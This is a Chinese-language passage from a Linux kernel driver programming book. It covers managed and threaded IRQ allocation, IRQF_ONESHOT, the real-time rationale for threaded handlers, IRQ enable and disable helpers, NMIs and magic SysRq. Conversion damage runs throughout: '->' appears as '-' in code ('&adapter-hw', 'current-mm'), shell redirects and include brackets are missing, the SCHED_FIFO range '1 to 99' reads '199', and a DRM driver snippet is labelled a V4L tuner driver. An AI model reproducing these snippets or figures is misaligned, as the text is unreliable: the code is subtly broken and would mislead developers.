    struct ixgb_adapter *adapter = netdev_priv(netdev);
    struct ixgb_hw *hw = &adapter-hw;
    u32 icr = IXGB_READ_REG(hw, ICR);

    if (unlikely(!icr))
        return IRQ_NONE; /* Not our interrupt */
    [...]
    if (napi_schedule_prep(&adapter-napi)) {
        [...]
        IXGB_WRITE_REG(&adapter-hw, IMC, ~0);
        __napi_schedule(&adapter-napi);
    }
    return IRQ_HANDLED;
}

在前面的代码片段中,注意驱动程序如何从第二个参数接收的net_device结构(用于网络设备的专用结构)中获得对其私有(或上下文)元数据结构(struct ixgb_adapter)的访问权限;这是非常典型的。(在这里,netdev_priv()助手用于从通用的net_device结构中提取驱动程序的私有结构,类似于众所周知的container_of()助手宏。事实上,这个助手在类似的情况下也经常被使用。)

接下来,它通过IXGB_READ_REG()宏执行外围 I/O 内存读取(它使用 MMIO 方法,详情请参阅上一章关于 MMIO 的详细信息;IXGB_READ_REG()是一个调用我们在上一章中介绍的readl()API 的宏,用于执行 32 位 MMIO 读取的旧风格例程)。不要错过这里的关键点:这是驱动程序确定中断是否适用于它的方式,因为它是一个共享中断!如果它适用于它(可能的情况),它将继续执行它的工作;由于此适配器支持 NAPI,驱动程序现在安排轮询 NAPI 读取以吸收网络数据包并将其发送到网络协议栈进行进一步处理(实际上并不是那么简单;实际的内存传输工作将通过 DMA 执行)。

现在,一个分歧但重要的问题:您需要学习如何以现代方式(通过devm_*API)分配 IRQ 线。这被称为托管方法。

IRQ 分配-现代方式-托管中断设施

许多现代驱动程序使用内核的devres或托管 API 框架来实现各种目的。现代 Linux 内核中的托管 API 为您提供了一个优势,即无需担心释放已分配的资源(我们已经介绍了其中的一些,包括devm_k{m,z}alloc()devm_ioremap{_resource}())。当然,您必须适当地使用它们,通常是在驱动程序的探测方法(或init代码)中。

建议在编写驱动程序时使用这种更新的 API 风格。在这里,我们将展示如何使用devm_request_irq()API 来分配(注册)硬件中断。它的签名如下:

#include <linux/interrupt.h>

int __must_check
devm_request_irq(struct device *dev, unsigned int irq, irq_handler_t handler,
                  unsigned long irqflags, const char *devname, void *dev_id);

第一个参数是设备的device结构的指针(正如我们在第一章中看到的,编写一个简单的 misc 字符设备驱动程序,必须通过注册到适当的内核框架来获取)。剩下的五个参数与request_irq()相同;我们这里不再重复。整个重点是,一旦注册,您就不必调用free_irq();内核将根据需要自动调用它(在驱动程序移除或设备分离时)。这极大地帮助我们开发人员避免常见和臭名昭著的泄漏类型错误。

为了帮助澄清其用法,让我们快速看一个例子。以下是来自 V4L 电视调谐器驱动程序的一部分代码。

// drivers/gpu/drm/exynos/exynos_mixer.c
[...]
    res = platform_get_resource(mixer_ctx->pdev, IORESOURCE_IRQ, 0);
    if (res == NULL) {
        dev_err(dev, "get interrupt resource failed.\n");
        return -ENXIO;
    }

 ret = devm_request_irq(dev, res->start, mixer_irq_handler,
 0, "drm_mixer", mixer_ctx);
    if (ret) {
        dev_err(dev, "request interrupt failed.\n");
        return ret;
    }
    mixer_ctx-irq = res->start;
[...]

正如我们在第三章中关于获取 MMIO 的物理地址所看到的,使用硬件 I/O 内存,在获取设备资源部分,这里,相同的驱动程序使用platform_get_resource()API 来提取 IRQ 号(将资源类型指定为带有IORESOURCE_IRQ的 IRQ 线)。一旦获得,它就会使用devm_request_irq()API 来分配或注册中断!因此,可以预期在这个驱动程序中搜索free_irq()将不会得到任何结果。

接下来,我们将学习什么是线程中断,如何处理线程中断,更重要的是它的原因。

使用线程中断模型

正如在配套指南Linux 内核编程 - 第十一章CPU 调度器 - 第二部分将主线 Linux 转换为 RTOS部分中所看到的,我们介绍了 Linux 的实时补丁(RTL),它允许您对 Linux 进行补丁、配置、构建和运行为 RTOS!如果您对此感到困惑,请回头查看。我们不会在这里重复相同的信息。

实时 Linux(RTL)项目的工作已经稳步地被回溯到主线 Linux 内核中。RTL 带来的关键变化之一是将线程中断功能合并到主线内核中。这发生在内核版本 2.6.30(2009 年 6 月)。这项技术做了一些乍一看似乎非常奇怪的事情:它“转换”硬件中断处理程序,基本上成为一个内核线程。

正如您将在下一章中了解到的那样,内核线程与用户模式线程非常相似 - 它在进程上下文中独立运行,并且有自己的任务结构(因此有自己的 PID、TGID 等),这意味着它可以被调度;也就是说,在可运行状态时,它与其他竞争线程争夺 CPU 核心的运行。关键区别在于用户模式线程始终有两个地址空间 - 它所属的进程 VAS(用户空间)和它发出系统调用时切换到的内核 VAS。另一方面,内核线程纯粹在内核空间中运行,并且没有用户空间的视图;它只看到它始终在其中执行的内核 VAS(从技术上讲,它的current-mm值始终为NULL!)。

那么,你如何决定是否应该使用线程中断?在这变得完全清晰之前,我们需要涵盖一些更多的话题(对于那些急切的人,这里是简短的答案:当中断工作需要超过 100 微秒时,使用线程中断处理程序作为一个快速的启发式方法;跳到硬中断、任务、线程处理程序 - 什么时候使用部分并查看那里的表以快速查看)。

现在,让我们通过查看可用的 API(常规和托管的 API)来学习如何使用线程中断模型。然后,我们将学习如何使用托管版本以及如何在驱动程序中使用它。之后,我们将查看其内部实现并更深入地探讨其中的原因。

使用线程中断模型 - API

为了理解线程中断模型的内部工作原理,让我们来看看相关的 API。我们已经介绍了如何使用request_irq()API。让我们看看它的实现:

// include/linux/interrupt.hstatic inline int __must_check
request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, const char *name, void *dev)
{
    return request_threaded_irq(irq, handler, NULL, flags, name, dev);
}

这个 API 只是request_threaded_irq()API 的一个薄包装!它的签名如下:

int __must_check
request_threaded_irq(unsigned int irq, irq_handler_t handler,
               irq_handler_t thread_fn,
               unsigned long flags, const char *name, void *dev);

除了第三个参数外,其他参数与request_irq()是相同的。以下是一些要注意的关键点:

  • irq_handler_t handler:第二个参数是指向通常的中断处理程序函数的指针。我们现在称它为主处理程序。如果它为空,而thread_fn(第三个参数)不为空,则会自动安装一个默认的主处理程序(如果您想了解这个默认的主处理程序,我们将在内部实现线程中断部分中更详细地介绍)。

  • irq_handler_t thread_fn:第三个参数是指向线程中断函数的指针;API 的行为取决于您是否将此参数传递为 null:

  • 如果它不为空,则实际的中断服务由此函数执行。它在专用内核线程的上下文(进程)中运行 - 这就是线程中断!

  • 如果它为空,也就是在调用request_irq()时的默认情况下,只有主处理程序运行,不会创建内核线程。

如果指定了主处理程序(第二个参数),则在所谓的硬中断硬中断上下文中运行(与request_irq()的情况一样)。如果主处理程序不为空,则您应该编写它的代码,并(最少)在其中执行以下操作:

  • 验证中断是否为您服务; 如果不是,请返回IRQ_NONE

  • 如果是为您服务的,那么您可以在板/设备上清除和/或禁用中断。

  • 返回IRQ_WAKE_THREAD; 这将导致内核唤醒代表您的线程中断处理程序的内核线程。内核线程的名称将以irq/irq#-name的格式。现在,这个内核线程将在内部调用thread_fn()函数,您将在其中执行实际的中断处理工作。

另一方面,如果主处理程序为空,那么当中断触发时,只会自动运行您的线程处理程序 - 第三个参数指定的函数作为内核线程

request_irq()一样,request_threaded_irq()的返回值是一个整数,遵循通常的0/-E内核约定:成功返回0,失败返回负的errno值。您应该检查它。

使用托管线程中断模型-推荐的方式

再次,对于现代驱动程序,使用托管 API 来分配线程中断将是推荐的方法。内核为此目的提供了devm_request_threaded_irq()API:

#include linux/interrupt.h

int __must_check
 devm_request_threaded_irq(struct device *dev, unsigned int irq,
               irq_handler_t handler, irq_handler_t thread_fn,
               unsigned long irqflags, const char *devname,
               void *dev_id);

除了第一个参数(指向设备结构的指针)之外的所有参数都与request_threaded_irq()的参数相同。这样做的关键优势在于,您无需担心释放 IRQ 线。内核将在设备分离或驱动程序移除时自动释放它,就像我们在devm_request_irq()中学到的那样。与request_threaded_irq()一样,devm_request_threaded_irq()的返回值是一个整数,遵循通常的0/-E内核约定:成功返回0,失败返回负的 errno 值; 你应该检查它。

不要忘记!使用托管devm_request_threaded_irq()API 是分配线程中断的现代推荐方法。但是,请注意,这并不总是正确的方法; 有关更多信息,请参阅使用线程处理程序时的约束部分。

线程中断处理程序函数的签名与 hardirq 中断处理程序的签名相同:

static irqreturn_t threaded_handler(int irq, void *data);

参数的含义也是相同的。

线程中断通常使用IRQF_ONESHOT中断标志; include/linux/interrupt.h中的内核注释最好描述了它:

 * IRQF_ONESHOT - Interrupt is not reenabled after the hardirq handler finished.
 * Used by threaded interrupts which need to keep the
 * irq line disabled until the threaded handler has been run.

事实上,内核坚持要求在您的驱动程序包含线程处理程序并且主处理程序是内核默认值时使用IRQF_ONESHOT标志。当级联触发中断在起作用时,不使用IRQF_ONESHOT标志将是致命的。为了安全起见,内核会抛出一个错误-当irqflags位掩码参数中不存在这个标志时-即使是边缘触发。如果您感兴趣,kernel/irq/manage.c:__setup_irq()中的代码检查了这一点(链接: elixir.bootlin.com/linux/v5.4/source/kernel/irq/manage.c#L1486)。

存在一个名为threadirqs的内核参数,您可以将其传递给内核命令行(通过引导加载程序)。这会强制线程化所有中断处理程序,除了那些明确标记为IRQF_NO_THREAD的中断处理程序。要了解有关此内核参数的更多信息,请转到www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html

在下一小节中,我们将看一下 Linux 驱动程序的 STM32 微控制器之一。在这里,我们将重点关注通过刚刚介绍的“托管”API 进行中断分配的方式。

代码视图 4 - STM32 F7 微控制器的线程中断处理程序

STM32 F7 是由 STMicroelectronics 制造的一系列微控制器中的一部分,基于 ARM-Cortex M7F 核心:

图 4.3 - 带有一些 I2C 引脚突出显示的 STM32F103 微控制器引脚布局(见左下角)

图片来源:前面的图片,我稍作修改后,来自www.electronicshub.org/wp-content/uploads/2020/02/STM32F103C8T6-Blue-Pill-Pin-Layout.gif。图片由 Rasmus Friis Kjekisen 提供。此图片属于知识共享 CC BY-SA 1.0 许可证(creativecommons.org/licenses/by-sa/1.0/)。

Linux 内核通过各种驱动程序和 DTS 文件支持 STM32 F7。在这里,我们将看一小部分微控制器的 I2C 总线驱动程序(drivers/i2c/busses/i2c-stm32f7.c)的代码。它分配了两个硬件中断:

  • 通过devm_request_threaded_irq()API 的事件 IRQ 线

  • 通过request_irq()API 的错误 IRQ 线

分配 IRQ 线的代码如预期地位于其probe方法中:

// drivers/i2c/busses/i2c-stm32f7.c
static int stm32f7_i2c_probe(struct platform_device *pdev)
{
    struct stm32f7_i2c_dev *i2c_dev;
    const struct stm32f7_i2c_setup *setup;
    struct resource *res;
    int irq_error, irq_event, ret;

    [...]
    irq_event = platform_get_irq(pdev, 0);
    [...]
    irq_error = platform_get_irq(pdev, 1);
    [...]
    ret = devm_request_threaded_irq(&pdev->dev, irq_event,
 stm32f7_i2c_isr_event,
 stm32f7_i2c_isr_event_thread,
 IRQF_ONESHOT,
 pdev->name, i2c_dev);
    [...]
    ret = devm_request_irq(&pdev->dev, irq_error, stm32f7_i2c_isr_error, 0,
                   pdev->name, i2c_dev);

让我们关注对devm_request_threaded_irq()的调用。第一个参数是指向设备结构的指针。由于这是一个平台驱动程序(通过module_platform_driver包装宏注册),其 probe 方法接收struct platform_device *pdev参数;设备结构从中提取。第二个参数是要分配的 IRQ 线。同样,如我们已经看到的,它是通过辅助例程提取的。在这里,这是platform_get_irq()API。

第三个参数指定了主处理程序;也就是硬中断。由于它不为空,当 IRQ 被触发时将调用此例程。它对设备和 I2C 传输进行硬件特定的验证,如果一切正常,它将返回IRQ_WAKE_THREAD值。这会唤醒线程中断例程,第四个参数,函数stm32f7_i2c_isr_event_thread()将作为内核线程在进程上下文中运行!irqflags参数被设置为IRQF_ONESHOT,这在线程处理程序中很典型;它指定 IRQ 线保持禁用,直到线程处理程序完成(不仅仅是硬中断)。线程处理程序例程完成其工作并在完成时返回IRQ_HANDLED

由于错误的 IRQ 线是通过devm_request_irq()API 分配的,并且因为我们已经介绍了如何使用这个 API(请参阅IRQ allocation – the modern way – the managed interrupt facility部分),我们不会在这里重复任何关于它的信息。

现在,让我们看看内核是如何内部实现线程中断模型的。

内部实现线程中断

正如我们之前提到的,如果主处理程序为空并且线程函数非空,内核将使用默认的主处理程序。该函数被称为irq_default_primary_handler(),它的作用是返回IRQ_WAKE_THREAD值,从而唤醒(并使可调度)内核线程。

此外,运行您的thread_fn例程的实际内核线程是在request_threaded_irq()API 的代码中创建的。调用图(截至 Linux 内核 5.4.0 版本)如下:

   kernel/irq/manage.c:request_threaded_irq() --  __setup_irq() --
          setup_irq_thread() -- kernel/kthread.c:kthread_create()

调用kthread_create()API 如下。在这里,您可以清楚地看到新内核线程的名称格式将采用irq/irq#-name格式:

t = kthread_create(irq_thread, new, "irq/%d-%s", irq, new->name);

在这里(我们不显示代码),新的内核线程被设置为SCHED_FIFO调度策略和MAX_USER_RT_PRIO/2实时调度优先级,通常为50SCHED_FIFO范围为199MAX_USER_RT_PRIO100)。我们将在为什么使用线程中断?部分介绍这一点。如果您对线程调度策略及其优先级不确定,请参阅配套指南Linux Kernel Programming - 第十章CPU Scheduler – Part 1The POSIX scheduling policies部分。

内核完全管理代表线程中断处理程序的内核线程。正如我们已经看到的,它通过[devm_]request_threaded_irq()API 在 IRQ 分配时创建它;然后,内核线程简单地休眠。内核会在需要时唤醒它,每当分配的 IRQ 被触发时;当调用free_irq()时,内核将销毁它。目前不要担心细节;我们将在下一章中介绍内核线程和其他有趣的主题。

到目前为止,虽然您已经学会了如何使用线程中断模型,但尚未清楚地解释了为什么(以及何时)应该使用。下一节将详细介绍这一点。

为什么要使用线程中断?

通常会问的一个关键问题是,当常规的 hardirq 类型中断存在时,为什么要使用线程中断?完整的答案有点复杂;以下是主要原因:

  • 真正使其实时。

  • 它消除/减少了 softirq 瓶颈。由于线程处理程序实际上在进程上下文中运行其代码,因此它不被认为是与 hardirq 处理程序一样关键的代码路径;因此,您可以在中断处理时花费更长的时间。

    • 当 hardirq 执行 IRQn 时,系统中所有核心上的 IRQ 线都被禁用。如果执行时间较长(当然,您应该设计它不这样做),那么系统的响应可能会显着下降;另一方面,当线程处理程序执行时,默认情况下硬件 IRQ 线是启用的。这对性能和响应性是有利的。(请注意,有许多情况下驱动程序不希望出现这种行为;也就是说,它希望在处理中断时禁用 IRQ。要做到这一点,请指定IRQF_ONESHOT标志。)

简而言之,作为一个快速的经验法则,当中断处理一直超过 100 微秒时,使用线程中断模型(参见Hardirqs,tasklets,threaded handlers-何时使用部分中的表)。

在接下来的小节中,我们将扩展这些观点。

线程中断-真正实时

这是一个关键点,需要一些解释。

标准 Linux OS 上的优先级从最高到最低依次如下(我们将每个项目后缀为它运行的context;它将是进程或中断。如果您对此不清楚,那么您理解这一点非常重要;请参考配套指南Linux Kernel Programming - **第六章内核内部要点-进程和线程理解进程和中断上下文部分,以获取更多信息):

  • 硬件中断:这些会抢占任何东西。hardirq 处理程序在 CPU 上原子地运行(完成,不中断);context:interrupt

  • 实时线程(SCHED_FIFOSCHED_RR调度策略),内核空间和用户空间都具有正实时优先级(rtprio);context:process

  • 在相同的实时优先级(current-rtprio)下,内核线程会比相同实时优先级的用户空间线程稍微提高优先级。

  • 处理器异常:这包括系统调用(它们实际上是同步异常;例如,在 x86 上是syscall,在 ARM 上是SWI),页错误,保护错误等;context:process

  • 用户模式线程:它们默认使用SCHED_OTHER调度策略,rtprio0context:process

以下图表显示了 Linux 上的相对优先级(这个图表有点简单;稍后会通过图 4.10图 4.11看到更精细的图表):

图 4.4-标准 Linux OS 上的相对优先级

假设您正在开发一个实时多线程应用程序。在进程中有数十个活动线程,其中三个(我们简单地称它们为 A、B 和 C)被认为是关键的“实时”线程。因此,您让应用程序授予它们SCHED_FIFO调度策略和分别为 30、45 和 60 的实时优先级(如果您对这些内容不清楚,请参考配套指南Linux 内核编程-第十章CPU 调度器-第一部分第十一章CPU 调度器-第二部分,关于 CPU 调度)。由于这是一个实时应用程序,这些线程完成工作的最长时间是有限的。换句话说,存在一个截止日期;在我们的示例场景中,假设线程 B 完成工作的最坏情况截止日期是 12 毫秒。

现在,就相对优先级而言,这将如何运作?为简单起见,假设系统有一个单 CPU 核心。现在,另一个线程 X(使用SCHED_OTHER调度策略,并且实时优先级为0,这是默认的调度策略/优先级值)当前正在 CPU 上执行代码。但是,如果任何您的实时线程正在等待的“事件”发生,它将抢占当前正在执行的线程并运行。这是预期的;请记住,实时调度的基本规则非常简单:最高优先级的可运行线程必须是正在运行的线程。好的。现在,我们需要考虑硬件中断。正如我们所见,硬件中断具有最高优先级。这意味着它将抢占任何东西,包括您的(所谓的)实时线程(请参见前面的图表)!

假设中断处理需要 200 微秒;在像 Linux 这样的强大操作系统上,这并不算太糟糕。然而,在这种情况下,五个硬件中断将消耗 1 毫秒;如果设备变得繁忙(例如有大量传入数据包),并且连续发出 20 个硬件中断,会怎么样?这肯定会被优先考虑,并且会消耗(至少)4 毫秒!您的实时线程肯定会在中断处理运行时被抢占,并且无法获得它所需的 CPU,直到为时已晚!(12 毫秒)截止日期早已过期,系统将失败(如果您的应用程序是真正的实时应用程序,这可能是灾难性的)。

以下图表以概念上表示了这种情况(为简洁和清晰起见,我们只显示了一个我们的用户空间SCHED_FIFO实时线程;即rtprio为 45 的线程 B):

图 4.5:硬中断模型-用户模式 RT SCHED_FIFO 线程被硬件中断洪水打断;截止日期未能满足

实时线程 B 被描述为从时间t0(x 轴上)开始运行;y 轴表示实时优先级;线程 B 的rtprio为 45;它有 12 毫秒(硬截止日期)来完成工作。然而,假设经过 6 毫秒(在时间t1)后,发生了一个硬件中断。

图 4.5中,我们没有显示执行低级中断设置代码。现在,在时间t1触发硬件中断导致中断处理程序被调用;也就是说,hardirq(在前面的图中显示为大黑色垂直双箭头)。显然,硬件中断会抢占线程 B。现在,假设它需要 200 微秒来执行;这不多,但是如果出现一连串的中断(比如 20 个,因此占用了 4 毫秒)会怎么样!这在前面的图中有所描述:中断以快速的速度持续到时间t2;只有在它们全部完成后,上下文才会被恢复。因此,调度代码运行并且(假设)上下文切换回线程 B,将其给予处理器(在现代英特尔 CPU 上,我们采取保守的上下文切换时间为 50 微秒:blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html)。然而,不久之后,在时间t3,硬件中断再次触发,再次抢占 B。这可能会无限期地继续下去;RT 线程最终会运行(当中断风暴完成时),但可能会或可能不会满足其截止日期!这是主要问题。

前面段落中描述的问题并不能通过简单提高用户模式线程的实时优先级来解决;硬件中断仍然会始终抢占它们,无论它们的优先级如何。

通过将 RTL 项目中的线程化中断从主线 Linux 移植,我们可以解决这个问题。如何?想一想:使用线程化中断模型,现在大部分中断处理工作是由一个以实时优先级50运行的SCHED_FIFO内核线程执行的。因此,只需设计您的用户空间应用程序,在必要时具有SCHED_FIFO RT 线程,其实时优先级高于50这将确保它们优先于硬件中断处理程序运行!

这里的关键思想是,一个处于SCHED_FIFO策略下,实时优先级为 50 的用户模式线程,实际上可以抢占(线程化的)硬件中断!确实是一件了不起的事情。

因此,对于我们的示例场景,现在假设我们正在使用线程化中断。接下来,调整用户空间多线程应用程序的设计:将我们的三个实时线程分配为SCHED_FIFO策略,并且实时优先级分别为 60、65 和 70。以下图概念上描述了这种情况(为了清晰起见,我们只显示了我们的用户空间SCHED_FIFO线程之一,线程 B,这次的rtprio65):

图 4.6-线程化中断模型-一个用户模式 RT SCHED_FIFO rtprio 50 线程可以抢占线程化中断;达到截止日期

在前面的图中,RT 线程 B 现在处于SCHED_FIFO调度策略,rtprio65。它最多有 12 毫秒的时间来完成(达到它的截止日期)。同样,假设它执行了 6 毫秒(从t0t1);在时间t1,硬件中断触发。在这里,低级设置代码和(内核默认或驱动程序的)hardirq 处理程序将立即执行,抢占处理器上的任何东西。然而,hardirq 或主处理程序执行的时间非常短(最多几微秒)。这是,正如我们已经讨论过的,现在正在执行的主处理程序;它将在返回IRQ_WAKE_THREAD值之前执行所需的最低限度的工作,这将使内核唤醒代表线程处理程序的内核线程。然而-这是关键-线程中断,它是SCHED_FIFO,优先级为50,现在正在与其他可运行的线程竞争 CPU 资源。由于线程 B 是一个SCHED_FIFO实时线程,其 rtprio 为65它将击败线程处理程序到 CPU 并且会运行!

总之,在前面的图中,正在发生以下情况:

  • 时间t0t1:用户模式 RT 线程(SCHED_FIFOrtprio 65)正在执行其代码(持续 6 毫秒)

  • 在时间t1,细灰色条代表 hardirq 低级设置/BSP 代码。

  • 细黑色双箭头垂直线代表主要的 hardirq 处理程序(上面两者只需几微秒即可完成)。

  • 蓝色条是调度代码。

  • 紫色条(在t3 + 50 微秒处)代表以 rtprio 50运行的线程中断处理程序。

所有这些的要点是,B 线程在其截止日期内完成了其工作(在这里,例如,它在 10 毫秒多一点的时间内满足了其截止日期)。

除非时间限制非常关键,否则使用线程中断模型来处理设备的中断对大多数设备和驱动程序都非常有效。在撰写本文时,倾向于保持传统的上/下半部分方法(在理解和使用上半部分和下半部分部分中有详细介绍)的设备通常是高性能网络、块和(一些)多媒体设备。

使用线程处理程序时的约束

关于线程处理程序的最后一件事:内核不会盲目地允许您为任何 IRQ 使用线程处理程序;它遵守一些约束。在注册线程处理程序时(通过[devm_]request_threaded_irq()API),它执行几个有效性检查,其中我们已经提到了一个:IRQF_ONESHOT必须存在于线程处理程序中。

它还取决于实际的 IRQ 线路;例如,我曾经尝试在 x86 上使用线程处理程序处理 IRQ 1(通常是 i8042 键盘/鼠标控制器芯片的中断线)。它失败了,内核显示如下:

genirq: Flags mismatch irq 1\. 00002080 (driver-name) vs. 00000080 (i8042)

因此,从前面的输出中,我们可以看到 i8042 只接受0x80的 IRQ 标志位掩码,而我传递了一个值为0x2080;稍微检查一下就会发现0x2000标志确实是IRQF_ONESHOT标志;显然,这会导致不匹配并且不被允许。不仅如此,还要注意谁标记了错误-是内核的通用 IRQ 层(genirq)在幕后检查事情。 (请注意,这种错误检查不仅限于线程中断。)

此外,某些关键设备将发现使用线程处理程序实际上会减慢它们的速度;这对于现代 NIC、块设备和一些多媒体设备非常典型。它们通常使用 hardirq 上半部分和 tasklet/softirq 下半部分机制(这将在理解和使用上半部分和下半部分部分中解释)。

使用 hardirq 或线程处理程序

在我们结束本节之前,还有一个有趣的要考虑的问题:内核提供了一个 IRQ 分配 API,根据某些情况,将设置您的中断处理程序作为传统的 hardirq 处理程序或线程处理程序。此 API 称为request_any_context_irq();请注意,它仅作为 GPL 导出。其签名如下:

int __must_check
request_any_context_irq(unsigned int irq, irq_handler_t handler,
            unsigned long flags, const char *name, void *dev_id);

参数与request_irq()相同。当调用时,此例程将决定中断处理程序函数(handler参数)将在原子 hardirq 上下文中运行还是在可睡眠的进程上下文中运行,即内核线程的上下文,换句话说,作为线程处理程序。您如何知道handler()将在哪个上下文中运行?返回值让您知道基于handler()将在其中运行的上下文:

  • 如果它将在 hardirq 上下文中运行,则返回值为IRQC_IS_HARDIRQ

  • 如果它将在进程/线程上下文中运行,则返回值为IRQC_IS_NESTED

  • 失败时将返回负的errno(您应该检查这一点)。

但这实际上意味着什么呢?基本上,有些控制器位于慢总线上(I2C 是一个很好的例子);它们产生使用所谓的“嵌套”中断的处理程序,这实际上意味着处理程序的性质不是原子的。它可能调用会休眠的函数(再次,I2C 函数就是一个很好的例子),因此需要是可抢占的。使用request_any_context_irq() API 可以确保如果是这种情况,底层的通用 IRQ 代码会检测到并为您提供适当的处理接口。GPIO 驱动的矩阵键盘驱动程序是另一个使用此 API 的例子(drivers/input/keyboard/matrix_keypad.c)。

有了这些覆盖,现在你知道了什么是线程中断,以及为什么它们非常有用。现在,让我们来看一个更短的话题:作为驱动程序作者,你如何有选择地启用/禁用 IRQ 线。

启用和禁用 IRQs

通常,核心内核(和/或特定于体系结构的)代码处理低级中断管理。这包括在需要时屏蔽它们。然而,一些驱动程序以及操作系统在启用/禁用硬件中断时需要细粒度的控制。由于您的驱动程序或模块代码以内核特权运行,内核提供了(导出的)辅助程序,允许您做到这一点:

简要评论 API 或辅助程序
禁用/启用本地处理器上的所有中断
无条件地禁用当前处理器核心上的所有中断。 local_irq_disable()
无条件地启用当前处理器核心上的所有中断。 local_irq_enable()
保存本地(当前)处理器核心上的所有中断的状态(中断掩码),然后禁用所有中断。状态保存在传递的flags参数中。 local_irq_save(unsigned long flags);
恢复传递的状态(中断掩码),从而根据flags参数在本地(当前)处理器核心上启用中断。 local_irq_restore(unsigned long flags);
禁用/启用特定的 IRQ 线
禁用 IRQ 线irq;将等待并同步任何待处理的中断(在该 IRQ 线上)完成后再返回。 void disable_irq(unsigned int irq);
禁用 IRQ 线irq;不会等待任何待处理的中断(在该 IRQ 线上)完成(nosync)。 void disable_irq_nosync(unsigned int irq);
禁用 IRQ 线irq并等待活动的 hardirq 处理程序完成后再返回。如果与此 IRQ 线相关的任何线程处理程序处于活动状态(需要 GPL),则返回false bool disable_hardirq(unsigned int irq);
启用 IRQ 线irq;撤消对disable_irq()的一次调用的影响。 void enable_irq(unsigned int irq);

local_irq_disable() / local_irq_enable()助手旨在禁用/启用当前处理器核心上的所有中断(除 NMI)。

local_irq_disable()/local_irq_enable()在 x86[_64]上的实现是通过(臭名昭著的)cli/sti一对机器指令来完成的;在过去的坏日子里,这些指令会在整个系统上禁用/启用中断,作用于所有 CPU。现在,它们在每个 CPU 上都可以工作。

disable_{hard}irq*()/enable_irq()辅助程序旨在选择性地禁用/启用特定的 IRQ 线,并作为一对调用。前面提到的一些例程可以从中断上下文中调用,尽管这应该谨慎进行!最好确保您从进程上下文中调用它们。之所以说“谨慎”,是因为其中几个辅助程序通过内部调用非阻塞例程(例如cpu_relax())来工作,该例程通过在处理器上重复运行一些机器指令来等待。 (cpu_relax()是这种“需要谨慎使用”的情况的一个很好的例子,因为它通过在无限循环中调用nop机器指令来工作;当任何硬件中断触发时,循环将退出,这正是我们在等待的!现在,在中断上下文中等待一段时间被认为是错误的;因此有了“谨慎”这一说法。)disable_hardirq()的内核提交(链接:github.com/torvalds/linux/commit/02cea3958664723a5d2236f0f0058de97c7e4693)解释了它是用于在需要从原子上下文中禁用中断的情况下,比如 netpoll

在禁用中断时,要注意确保您没有持有(已锁定)处理程序可能使用的任何共享资源。这将导致(自身)死锁!(锁定及其许多场景将在本书的最后两章中详细解释。)

NMI

所有先前的 API 和辅助程序都适用于所有硬件中断,除了不可屏蔽中断(NMI)。NMI 是特定于体系结构的中断,用于实现诸如硬件看门狗和调试功能(例如,所有核心的无条件内核堆栈转储;我们将很快展示一个例子)。此外,NMI 中断线不能共享。

可以通过内核的所谓的魔术 SysRq设施来快速展示利用 NMI 的一个例子。要查看为魔术 SysRq 分配的键盘热键,您必须通过输入[Alt][SysRq][letter]键组合来调用或触发它。

魔术 SysRq 触发:与其让手指扭曲输入[Alt][SysRq][letter],不如使用更简单的方法 - 更重要的是非交互式的方法:只需将相关字母作为根用户回显到proc伪文件中:echo letter/proc/sysrq-trigger

但我们需要输入哪个字母呢?以下输出显示了您可以找到的一种快速方法。这是魔术 SysRq 的快速帮助(我在我的 Raspberry Pi 3B+上执行了这个操作):

rpi # dmesg -C
rpi # echo ? /proc/sysrq-trigger
rpi # dmesg
[ 294.928223] sysrq: HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z) 
rpi # 

我们目前感兴趣的是粗体显示的 - 字母l(小写 L) - show-backtrace-all-active-cpus(l)。一旦触发,它确实如约 - 它显示所有活动 CPU 上内核模式堆栈的堆栈回溯!(这可以作为一个有用的调试辅助工具,因为您将看到每个 CPU 核心当前正在运行的内容。)如何?它通过向它们发送 NMI 来实现这一点;也就是说,向所有 CPU 核心发送 NMI!这是我们可以看到在命令被触发的那一刻 CPU 正在做什么的一种方式!当系统出现问题时,这可能非常有用。

在这里,echo l /proc/sysrq-trigger(作为根用户)就可以了!以下是部分屏幕截图显示的输出:

图 4.7 - 发送 NMI 到所有 CPU 时的输出,显示每个 CPU 的内核堆栈回溯

在前面的屏幕截图中,您可以看到bash PID 633 正在 CPU 0上运行,内核线程swapper/1正在 CPU 1上运行(可以看到每个的内核堆栈;以自下而上的方式阅读)。

可以在drivers/tty/sysrq.c找到魔术 SysRq 设施的代码;浏览一下会很有趣。以下是在 x86 上触发魔术 SysRq l时发生的近似调用图:

include/linux/nmi.h:trigger_all_cpu_backtrace() arch_trigger_cpumask_backtrace()
    arch/x86/kernel/apic/hw_nmi.c:arch_trigger_cpumask_backtrace() 
    nmi_trigger_cpumask_backtrace()

最后一个函数实际上成为了通用的(非特定于架构)代码,位于lib/nmi_backtrace.c:nmi_trigger_cpumask_backtrace()。这里的代码通过向每个 CPU 发送 NMI 来触发 CPU 回溯。这是通过nmi_cpu_backtrace()函数实现的。这个函数反过来通过调用show_regs()dump_stack()例程显示了我们在前面的屏幕截图中看到的信息,这些例程最终成为了特定于架构的代码,用于转储 CPU 寄存器以及内核模式堆栈。该代码还足够智能,不会尝试在处于低功耗(空闲)状态的 CPU 核心上显示回溯。

在现实世界中,事情并不总是简单的;请参阅 Steven Rostedt 在 x86 NMI 上所面临的复杂问题以及它们是如何解决的这篇文章:x86 NMI iret 问题,2012 年 3 月:lwn.net/Articles/484932/

到目前为止,我们实际上还没有看到分配的 IRQ 线的内核视图;接口自然是通过procfs文件系统;让我们深入研究一下。

查看所有分配的中断(IRQ)线

现在您已经了解了关于 IRQ 和中断处理的足够细节,我们可以(终于!)利用内核的proc文件系统,以便我们可以窥视当前分配的 IRQ。我们可以通过读取/proc/interrupts伪文件的内容来做到这一点。我们将展示一些屏幕截图:第一个(图 4.8)显示了在我的 Raspberry Pi ZeroW 上每个 CPU 每个 I/O 设备服务的中断数量的 IRQ 状态,而第二个(图 4.9)显示了我们“通常”的 x86_64 Ubuntu 18.04 VM 上的情况:

